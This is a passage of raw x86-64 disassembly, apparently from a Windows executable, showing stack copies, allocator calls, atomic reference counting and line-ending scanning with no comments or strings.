test rax, rax
je 0x140085143
lea rcx, [rsp + 0x808]
movdqu xmm0, xmmword [rcx - 0x28]
lea rcx, [rsp + 0x358]
movdqu xmmword [rcx - 8], xmm0
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rdx
mov rcx, qword [rdi + 0x70]
dec rcx
cmp rcx, 2
jae 0x140082862
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
mov r8, qword [rsp + 0x350]
lea rcx, [rsp + 0x358]
call qword [rax + 0x10]
jmp 0x14007ee55
cmp rax, 1
jne 0x140082a19
mov rsi, rdx
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov r13, rax
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 6
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084fba
mov qword [rax], rsi
mov qword [r13], rax
lea rax, [0x14012b520]
mov qword [r13 + 8], rax
jmp 0x140082a5d
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x750], rax
movaps xmm0, xmmword [rsp + 0x760]
movaps xmmword [rsp + 0x740], xmm0
movaps xmm0, xmmword [rsp + 0x7b0]
movaps xmmword [rsp + 0x7a0], xmm0
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x580], xmm0
movaps xmmword [rsp + 0x590], xmm1
movzx eax, word [rsp + 0x120]
mov word [rsp + 0x5a0], ax
mov eax, dword [rsp + 0x1d8]
mov dword [rsp + 0x1d0], eax
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x1d4], al
mov byte [rdi + 0xd0], 0
cmp byte [rdi + 0xd2], 2
jne 0x140082978
cmp byte [rsp + 0xd4], 0
jne 0x14008298d
cmp byte [rsp + 0xd4], 1
mov eax, 0
adc al, 1
mov byte [rdi + 0xd2], al
movzx eax, byte [rsp + 0x3f]
mov byte [rdi + 0xd3], al
cmp byte [rsp + 0x4c], 0
sete bl
mov rax, qword [rsp + 0x5c8]
cmp rax, 0xfffffffffffffffe
je 0x140083113
cmp rax, 0xffffffffffffffff
je 0x14008310f
test rax, rax
jne 0x140083119
mov qword [rdi + 0x70], 3
mov rcx, rdi
call fcn.140090b70
mov rcx, rdi
mov rdx, r13
call case.0x14002a2ab.1647
xor edx, edx
jmp 0x140083147
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x900
jmp 0x140082a5d
mov esi, 5
mov bl, 1
cmp rsi, 3
jne 0x140082c75
jmp 0x140082eac
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 2
mov edx, dword [rsp + 0x2c]
mov qword [rsp + 0x4b0], r13
movzx r8d, byte [rdi + 0xd2]
mov qword [rdi + 0x70], 4
mov byte [rdi + 0xd2], 2
mov rsi, qword [rdi + 0x160]
test rsi, rsi
mov dword [rsp + 0x2c], edx
je 0x140082b33
mov rax, qword [rsp + 0x428]
mov r15, qword [rax]
xor r14d, r14d
jmp 0x140082ab8
inc r14
cmp rsi, r14
je 0x140082af3
movzx eax, byte [r15 + r14]
cmp eax, 0xd
je 0x140082ab0
cmp eax, 0xa
je 0x140082ab0
mov qword [rsp + 0x340], r14
cmp rsi, r14
jb 0x1400853c0
test r14, r14
je 0x140082c1b
mov r12, qword [rdi + 0x170]
test r12b, 1
jne 0x140082b07
jmp 0x140082bef
mov r14, rsi
mov r12, qword [rdi + 0x170]
test r12b, 1
je 0x140082bef
mov rbp, r12
shr rbp, 5
lea rax, [r14 + rbp]
mov rcx, rax
shr rcx, 0x3b
jne 0x140082b7f
shl rax, 5
and r12d, 0x1f
or r12, rax
mov rax, r12
mov rbp, qword [rsp + 0x60]
jmp 0x140082be8
xor esi, esi
cmp byte [r13 + 0x30], 0
jne 0x140082c33
jmp 0x140082e1d
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 0
mov edx, dword [rsp + 0x2c]
mov byte [rax + 0x31], dl
jmp 0x140082a61
mov byte [rsp + 0x50], r8b
mov rbx, qword [rdi + 0x168]
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400854fe
add rbx, rbp
add rsi, rbp
sub r15, rbp
shr r12d, 2
and r12d, 7
mov qword [rax], rbx
mov qword [rax + 8], r15
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], 1
mov r15, qword [rdi + 0x158]
mov rsi, qword [rdi + 0x160]
mov rbp, qword [rsp + 0x60]
movzx r8d, byte [rsp + 0x50]
mov qword [rdi + 0x170], rax
lea r12, [rsp + 0x7d0]
add r15, r14
mov qword [rdi + 0x158], r15
sub rsi, r14
mov eax, 0
cmovb rsi, rax
mov qword [rdi + 0x160], rsi
sub qword [rdi + 0x168], r14
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x1450]
cmp byte [r13 + 0x30], 0
je 0x140082e1d
test r8b, r8b
jne 0x140082e1d
test rsi, rsi
jne 0x140082e1d
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
lea rcx, [rsp + 0x4b0]
call fcn.140035b40
mov esi, 4
mov bl, 1
cmp rsi, 3
je 0x140082eac
cmp rsi, 4
je 0x140082dfa
cmp rsi, 5
je 0x140084bd5
mov qword [rsp + 0x1450], rsi
mov qword [rsp + 0x1458], r13
mov rax, qword [rsp + 0x710]
lea rcx, [rsp + 0x1458]
mov qword [rcx + 0x18], rax
movaps xmm0, xmmword [rsp + 0x700]
movups xmmword [rcx + 8], xmm0
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x1478], rax
movaps xmm0, xmmword [rsp + 0x790]
movups xmmword [rcx + 0x28], xmm0
mov rax, qword [rsp + 0x638]
mov qword [rsp + 0x1490], rax
movzx eax, word [rsp + 0x6c0]
mov word [rcx + 0x60], ax
movdqa xmm0, xmmword [rsp + 0x6a0]
movdqa xmm1, xmmword [rsp + 0x6b0]
movdqu xmmword [rcx + 0x50], xmm1
movdqu xmmword [rcx + 0x40], xmm0
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x14ba], al
movzx eax, byte [rsp + 0x1cc]
mov byte [rcx + 0x67], al
mov eax, dword [rsp + 0x1c8]
mov dword [rcx + 0x63], eax
test rdx, rdx
je 0x140082f07
mov rcx, r12
xor r8d, r8d
call fcn.1400347d0
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x280], rax
movups xmm0, xmmword [rsp + 0x7d0]
movups xmm1, xmmword [rsp + 0x7e0]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov rsi, qword [rsp + 0x7f8]
mov r14, qword [rsp + 0x800]
lea rax, [rsp + 0x808]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x720], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x730], rax
mov r15, qword [rsp + 0x820]
cmp byte [rdi + 0x1d0], 3
mov r13, qword [rsp + 0x58]
je 0x140082dc1
mov rcx, qword [rsp + 0x30]
call fcn.140085650
mov rax, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x30]
mov qword [rcx + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
test bl, bl
je 0x140082f1c
jmp 0x140082fe4
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 5
mov r13, qword [rsp + 0x58]
lea rsi, [rsp + 0x200]
jne 0x14007ec8d
jmp 0x140082ee1
mov qword [rsp + 0x7d0], r13
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 2
jne 0x140082e9b
cmp rsi, 0x18
jb 0x140082e9b
mov rax, qword [rsp + 0x428]
mov rax, qword [rax]
movdqu xmm0, xmmword [rax]
pcmpeqb xmm0, xmm7
movq xmm1, qword [rax + 0x10]
pcmpeqb xmm1, xmm6
pand xmm1, xmm0
pmovmskb eax, xmm1
cmp eax, 0xffff
jne 0x140082e9b
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov r13, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x500
mov rcx, r12
call fcn.140035b40
mov esi, 3
mov bl, 1
cmp rsi, 3
jne 0x140082c75
mov qword [rsp + 0x7d8], r13
mov qword [rsp + 0x7d0], 3
mov rcx, rbp
mov rdx, r12
call fcn.1400857b0
test rax, rax
lea rsi, [rsp + 0x200]
jne 0x140084be4
mov r13, qword [rsp + 0x58]
mov byte [rdi + 0x1e0], 1
mov qword [rdi + 0x70], 4
mov qword [rdi + 0x90], 5
mov byte [rdi + 0xd2], 2
jmp 0x14007ec8d
xor r15d, r15d
xor esi, esi
xor r14d, r14d
mov r13, qword [rsp + 0x58]
test bl, bl
jne 0x140082fe4
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140085304
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x30], xmm8
lock inc qword [rax]
jle 0x140085313
cmp qword [rdi], 0
je 0x140082fb0
mov r12, qword [rdi + 8]
test r12, r12
je 0x140082fb0
mov rax, qword [r12 + 0x30]
nop dword [rax]
mov rcx, rax
test cl, 4
jne 0x140082f8b
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [r12 + 0x30], rdx
jne 0x140082f70
and ecx, 5
cmp ecx, 1
jne 0x140082fa0
mov rax, qword [r12 + 0x20]
mov rcx, qword [r12 + 0x28]
call qword [rax + 0x10]
lock dec qword [r12]
jne 0x140082fb0
mov rcx, qword [rdi + 8]
call fcn.1400372d0
mov qword [rdi], 1
mov qword [rdi + 8], rbx
mov edx, 1
lea rcx, [rsp + 0x14b0]
mov r8, rbx
call fcn.14008d510
test rax, 0xfffffffffffffffd
lea r12, [rsp + 0x7d0]
jne 0x1400830be
movups xmm0, xmmword [rsp + 0x14b0]
movaps xmmword [rsp + 0x830], xmm0
movups xmm0, xmmword [rsp + 0x14a0]
movaps xmmword [rsp + 0x820], xmm0
movups xmm0, xmmword [rsp + 0x1490]
movaps xmmword [rsp + 0x810], xmm0
movups xmm0, xmmword [rsp + 0x1450]
movdqu xmm1, xmmword [rsp + 0x1460]
movups xmm2, xmmword [rsp + 0x1470]
movups xmm3, xmmword [rsp + 0x1480]
movaps xmmword [rsp + 0x800], xmm3
movaps xmmword [rsp + 0x7f0], xmm2
movdqa xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
mov rax, qword [rsp + 0x730]
lea rcx, [rsp + 0x808]
mov qword [rcx + 0x58], rax
movdqa xmm0, xmmword [rsp + 0x720]
movdqu xmmword [rcx + 0x48], xmm0
mov qword [rsp + 0x840], rsi
mov qword [rsp + 0x848], r14
mov qword [rsp + 0x868], r15
mov rcx, rbp
mov rdx, r12
call fcn.1400857b0
test rax, rax
jne 0x140084bf3
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x1450]
lea rsi, [rsp + 0x200]
jmp 0x14007ec8d
test rdx, rdx
je 0x140082fe4
mov rax, qword [rdx + 0x30]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x1400830d0
and eax, 0xa
cmp eax, 8
jne 0x1400830f8
mov rax, qword [rdx + 0x10]
mov rcx, qword [rdx + 0x18]
mov rbx, rdx
call qword [rax + 0x10]
mov rdx, rbx
lock dec qword [rdx]
jne 0x140082fe4
mov rcx, rdx
call fcn.1400372d0
jmp 0x140082fe4
mov al, 2
jmp 0x14008311e
mov al, 1
xor ecx, ecx
jmp 0x14008311e
mov rcx, rax
xor eax, eax
mov qword [rdi + 0x70], 2
mov byte [rdi + 0x78], al
mov byte [rdi + 0x79], 0
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], 0
mov rdx, qword [rsp + 0x5c8]
movzx eax, byte [rsp + 0x2c]
mov r13, qword [rsp + 0x5c0]
shl r13, 8
or r13, rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x710], rax
movaps xmm0, xmmword [rsp + 0x740]
movaps xmmword [rsp + 0x700], xmm0
movaps xmm0, xmmword [rsp + 0x7a0]
movaps xmmword [rsp + 0x790], xmm0
movdqa xmm0, xmmword [rsp + 0x580]
movdqa xmm1, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x6a0], xmm0
movdqa xmmword [rsp + 0x6b0], xmm1
movzx eax, word [rsp + 0x5a0]
mov word [rsp + 0x6c0], ax
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0x1c8], eax
movzx eax, byte [rsp + 0x1d4]
mov byte [rsp + 0x1cc], al
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x630], rax
cmp rsi, 3
jne 0x140082c75
jmp 0x140082eac
mov esi, 1
test rax, rax
je 0x140084704
cmp eax, 4
je 0x140083272
mov rax, qword [rdi + 0x160]
jmp 0x14008474f
cmp byte [rdi + 0x1d0], 3
je 0x140083244
mov rcx, r15
call fcn.140085650
mov rax, qword [rsp + 0x220]
mov qword [r15 + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x200]
movdqa xmm1, xmmword [rsp + 0x210]
movdqu xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
mov esi, 1
test rdx, rdx
je 0x140083280
test rsi, rsi
je 0x140084c21
cmp byte [rdi + 0x1e0], 0
je 0x1400832f0
lea rsi, [rsp + 0x200]
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, r13
call case.0x1400d8602.208
mov rcx, rax
call fcn.1400929a0
test rax, rax
jne 0x14007ec60
test rdx, rdx
je 0x14007ec60
jmp 0x140084c21
mov rcx, rbx
call fcn.14005b7d0
mov qword [rsi], 0
cmp byte [rdi + 0x1e0], 0
lea rsi, [rsp + 0x200]
jne 0x1400832a0
mov rax, qword [rdi + 0x1d8]
cmp qword [rax], 0
je 0x140083480
cmp byte [rdi + 0x178], 0
je 0x1400834f0
mov rsi, qword [rdi + 0x1d8]
cmp qword [rsi], 0
je 0x140083550
lea rbx, [rsi + 8]
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
cmp rax, 3
ja 0x1400832d0
cmp rax, 2
je 0x1400832d0
mov rcx, r12
mov rdx, rbx
mov r8, r13
call fcn.14004e1a0
cmp dword [rsp + 0x7d0], 2
je 0x140083289
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x4d0], rax
movdqu xmm0, xmmword [rsp + 0x7d0]
movdqu xmm1, xmmword [rsp + 0x7e0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
mov r13, qword [rsp + 0x4b0]
test r13, r13
je 0x140083633
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x4b8]
mov rbx, qword [rsp + 0x4c0]
test rax, rax
je 0x1400848c0
lea rcx, [rsp + 0x4c8]
movdqu xmm0, xmmword [rcx]
lea rcx, [rsp + 0x110]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rbx
mov rbx, qword [rsp + 0x50]
cmp qword [rbx], 0
je 0x14008365a
cmp qword [rsi + 0x18], 0
je 0x14008366d
mov rbx, qword [rsp + 0x110]
test rbx, rbx
je 0x140083b4e
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x480], xmm0
mov r14, qword [rsp + 0x118]
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 3
ja 0x140083443
cmp rcx, 1
jne 0x140084e99
test rax, rax
je 0x140083c6d
mov rax, qword [rdi + 0x98]
mov rcx, rax
sub rcx, rbx
jae 0x140083d3c
mov qword [rdi + 0x98], 0
mov ecx, 1
jmp 0x140083d45
cmp qword [rdi + 0x70], 4
je 0x140083301
cmp qword [rdi + 0x90], 2
jne 0x140083301
mov r8, qword [rdi + 0x110]
test r8, r8
je 0x140083801
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x108]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
mov r9, rcx
sub r9, rax
mov rdx, r8
sub rdx, r9
ja 0x140083807
add r8, rax
mov rcx, r8
jmp 0x140083805
cmp byte [rdi + 0x120], 0
je 0x140083585
mov r8, qword [rdi + 0x110]
cmp r8, 0xf
ja 0x140083609
test r8, r8
je 0x140083595
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x108]
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
mov r9, rcx
sub r9, rax
mov rdx, r8
sub rdx, r9
ja 0x14008359b
add r8, rax
mov rcx, r8
jmp 0x140083599
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
cmp rax, 3
ja 0x140083289
cmp rax, 2
je 0x140083289
mov rcx, rdi
call fcn.140092a40
test rax, rax
je 0x1400832df
jmp 0x14008485a
mov r8, qword [rdi + 0x110]
test r8, r8
jne 0x140083517
xor eax, eax
xor ecx, ecx
xor edx, edx
mov rsi, qword [rdi + 0xe8]
sub rsi, qword [rdi + 0xf0]
mov r8, qword [rdi + 0x100]
lea rax, [rax + rax*4]
shl rax, 4
add rax, r8
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, r8
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, r8
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], rcx
mov qword [rsp + 0x7e0], r8
mov qword [rsp + 0x7e8], rdx
mov rcx, r12
call fcn.140091e70
add rax, rsi
cmp rax, qword [rdi + 0x118]
jb 0x14008330e
mov rcx, rdi
mov rdx, r13
call case.0x1400d8602.208
mov rcx, rax
call fcn.1400929a0
test rax, rax
jne 0x14008494f
test rdx, rdx
je 0x1400832df
jmp 0x14008494f
mov rcx, rdi
call fcn.140092a40
mov bpl, 1
test rax, rax
jne 0x14008496e
test r13, r13
mov r13, qword [rsp + 0x58]
je 0x140084617
jmp 0x14008464a
mov rcx, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
call qword [rax + 0x28]
test al, al
je 0x1400833fb
mov r14, qword [rsp + 0x110]
test r14, r14
je 0x140083c1b
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x480], xmm0
mov rbx, qword [rsp + 0x118]
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
lea rcx, [rax - 2]
cmp rcx, 3
ja 0x1400836b5
cmp rcx, 1
jne 0x140084f0f
test rax, rax
je 0x140083e12
mov r12, qword [rdi + 0x98]
xor eax, eax
cmp r14, r12
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je 0x14008406a
movzx eax, al
cmp eax, 1
jne 0x1400840a9
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x340], xmm0
mov qword [rsp + 0x350], r14
mov qword [rsp + 0x358], rbx
mov qword [rsp + 0x360], r12
cmp byte [rdi + 0x120], 0
je 0x14008449d
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x7f0], rax
movaps xmm0, xmmword [rsp + 0x340]
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x7e0], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x7e8], rax
movaps xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
cmp rax, rcx
jne 0x14008378e
mov rcx, qword [rsp + 0x5d0]
call fcn.140093000
mov rcx, qword [rdi + 0xf8]
mov rax, qword [rdi + 0x110]
mov rdx, qword [rdi + 0x108]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rdi + 0x100]
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov qword [rcx + rdx], 1
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rcx + rdx + 8], xmm0
movdqu xmmword [rcx + rdx + 0x18], xmm1
mov r8, qword [rsp + 0x7f0]
mov qword [rcx + rdx + 0x28], r8
inc rax
mov qword [rdi + 0x110], rax
lea r12, [rsp + 0x7d0]
jmp 0x1400845e2
xor eax, eax
xor ecx, ecx
xor edx, edx
mov r8, qword [rdi + 0x100]
lea rax, [rax + rax*4]
shl rax, 4
add rax, r8
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, r8
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, r8
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], rcx
mov qword [rsp + 0x7e0], r8
mov qword [rsp + 0x7e8], rdx
mov rcx, r12
call fcn.140091e70
test rax, rax
jne 0x140083301
cmp qword [rdi + 0x180], 2
jne 0x140083301
mov rdx, qword [rdi + 0x198]
mov r8, qword [r13]
mov rcx, r12
call fcn.1400860f0
mov rsi, qword [rsp + 0x8d0]
cmp rsi, 3
je 0x140084a38
cmp esi, 4
je 0x1400849c6
cmp esi, 2
je 0x140084d9e
mov r8d, 0x100
mov rcx, r14
mov rdx, r12
call fcn.140106530
lea rbx, [rsp + 0x808]
movdqu xmm0, xmmword [rbx + 0xd0]
lea rax, [rsp + 0x110]
movdqu xmmword [rax - 8], xmm0
mov qword [rsp + 0x100], rsi
lea rcx, [rsp + 0x100]
mov rdx, r13
call fcn.14008d650
test al, al
je 0x140084a41
lea rcx, [rsp + 0x1458]
mov rax, qword [rcx + 0xc0]
mov qword [rbx + 0x30], rax
movups xmm0, xmmword [rcx + 0xb0]
movups xmmword [rbx + 0x20], xmm0
lea rdx, [rsp + 0x14b0]
mov rax, qword [rdx + 0x50]
mov qword [rsp + 0x820], rax
movups xmm0, xmmword [rdx + 0x40]
movaps xmmword [rsp + 0x810], xmm0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x800], xmm3
movaps xmmword [rsp + 0x7f0], xmm2
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
movzx ebx, byte [rsp + 0x1528]
mov rsi, qword [rsp + 0x1450]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x340], xmm0
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x360], xmm2
movaps xmmword [rsp + 0x370], xmm3
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x380], xmm0
mov rax, qword [rcx + 0x50]
mov qword [rsp + 0x390], rax
mov r14, qword [rsp + 0x1520]
movaps xmm0, xmmword [rsp + 0x830]
lea rax, [rsp + 0x358]
movups xmmword [rax + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0x820]
movups xmmword [rax + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0x810]
movups xmmword [rax + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movaps xmm2, xmmword [rsp + 0x7f0]
movaps xmm3, xmmword [rsp + 0x800]
movups xmmword [rax + 0x70], xmm3
movups xmmword [rax + 0x60], xmm2
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x40], xmm0
cmp dword [rbp], 2
je 0x140083a32
mov rcx, rbp
call fcn.140065ab0
mov rax, qword [rsp + 0x110]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rbp], xmm0
mov r8d, 0xc8
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x340]
call fcn.140106530
lea rax, [rsp + 0x1530]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
lea rax, [rsp + 0x250]
movdqu xmmword [rax - 0x11], xmm0
movdqu xmmword [rax - 1], xmm1
cmp rsi, 3
je 0x140084a63
cmp rsi, 4
je 0x140084a84
mov rax, qword [rsp + 0x257]
mov qword [rsp + 0x7ef], rax
movups xmm0, xmmword [rsp + 0x238]
movups xmm1, xmmword [rsp + 0x248]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
mov qword [rsp + 0x260], rsi
mov r8d, 0xc8
lea rcx, [rsp + 0x268]
lea rdx, [rsp + 0x4b0]
call fcn.140106530
mov qword [rsp + 0x330], r14
mov byte [rsp + 0x338], bl
lea rax, [rsp + 0x7d7]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x1460], xmm1
movdqa xmmword [rsp + 0x1450], xmm0
cmp qword [rsp + 0x1450], 0
je 0x140083b7e
mov rsi, qword [rsp + 0x1460]
test rsi, rsi
lea r14, [rsp + 0x1450]
je 0x140083ba1
mov eax, 1
mov rcx, rsi
jmp 0x14008437c
mov rax, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x118]
xor r8d, r8d
call qword [rax + 0x10]
mov r13, qword [rsp + 0x58]
lea r14, [rsp + 0x1450]
jmp 0x1400832df
mov rcx, qword [rsp + 0x1458]
mov rax, qword [rsp + 0x1460]
call qword [rax + 0x28]
test al, al
lea r14, [rsp + 0x1450]
je 0x140084046
mov rsi, qword [rdi + 0x1d8]
cmp qword [rsi], 0
je 0x140083bb7
lea rcx, [rsi + 8]
call fcn.14005b7d0
mov qword [rsi], 0
mov r9d, 2
mov rcx, r12
mov rdx, rdi
lea r8, [rsp + 0x260]
call fcn.140093250
mov rax, qword [rsp + 0x7d0]
cmp rax, 2
je 0x140084149
mov rcx, qword [rsp + 0x7d8]
movzx edx, byte [rsp + 0x7e0]
cmp eax, 1
jne 0x1400840fa
test rcx, rcx
jne 0x1400840fa
mov eax, edx
and al, 1
movzx eax, al
or rax, 4
jmp 0x14008411a
mov rcx, rdi
call fcn.140092a40
test rax, rax
jne 0x140084ace
mov rax, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
lea rcx, [rsp + 0x118]
call qword [rax + 0x10]
mov bpl, 1
lea r14, [rsp + 0x1450]
test r13, r13
mov r13, qword [rsp + 0x58]
je 0x140084617
jmp 0x14008464a
mov qword [rsp + 0x580], rbx
movaps xmmword [rsp + 0x340], xmm8
mov dword [rsp + 0x350], 0
lea rax, [rsp + 0x580]
mov qword [rsp + 0x238], rax
lea rax, [0x1400197b0]
mov qword [rsp + 0x240], rax
lea rax, [0x14012ca98]
mov qword [rsp + 0x1450], rax
mov qword [rsp + 0x1458], 2
mov qword [rsp + 0x1470], 0
lea rax, [rsp + 0x238]
mov qword [rsp + 0x1460], rax
mov qword [rsp + 0x1468], 1
lea rcx, [rsp + 0x340]
lea rdx, [0x14012c030]
lea r8, [rsp + 0x1450]
call fcn.140013990
test al, al
jne 0x140084f85
mov rax, qword [rsp + 0x340]
lea rdx, [rsp + 0x358]
mov rcx, qword [rdx - 0x10]
mov qword [rsp + 0x1450], rcx
mov ecx, dword [rdx - 8]
mov dword [rsp + 0x1458], ecx
mov ecx, 2
jmp 0x140083d45
mov qword [rdi + 0x98], rcx
xor ecx, ecx
mov qword [rsp + 0x7d0], rcx
movdqa xmm0, xmmword [rsp + 0x480]
lea rcx, [rsp + 0x808]
movdqu xmmword [rcx - 0x30], xmm0
mov qword [rsp + 0x7e8], rbx
mov qword [rsp + 0x7f0], r14
mov qword [rsp + 0x7f8], rax
mov rax, qword [rsp + 0x1450]
mov qword [rcx - 8], rax
mov eax, dword [rsp + 0x1458]
mov dword [rcx], eax
mov eax, dword [rsp + 0x145c]
mov dword [rcx + 4], eax
lea rax, [0x140140b0f]
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], 2
mov rcx, qword [rsp + 0xc0]
mov rdx, r12
call case.0x140088ba6.74
cmp qword [rdi + 0x90], 0
je 0x140083df0
cmp qword [rdi + 0x98], 0
jne 0x140083df0
cmp byte [rdi + 0xa0], 1
mov eax, 5
sbb rax, 0
mov qword [rdi + 0x90], rax
xor ebp, ebp
lea r14, [rsp + 0x1450]
mov rbx, qword [rsp + 0x50]
test r13, r13
mov r13, qword [rsp + 0x58]
je 0x140084617
jmp 0x14008464a
mov qword [rsp + 0x580], r14
movaps xmmword [rsp + 0x340], xmm8
mov dword [rsp + 0x350], 0
lea rax, [rsp + 0x580]
mov qword [rsp + 0x238], rax
lea rax, [0x1400197b0]
mov qword [rsp + 0x240], rax
lea rax, [0x14012ca98]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x238]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 1
lea rcx, [rsp + 0x340]
lea rdx, [0x14012c030]
mov r8, r12
call fcn.140013990
test al, al
jne 0x140084f85
mov eax, dword [rsp + 0x350]
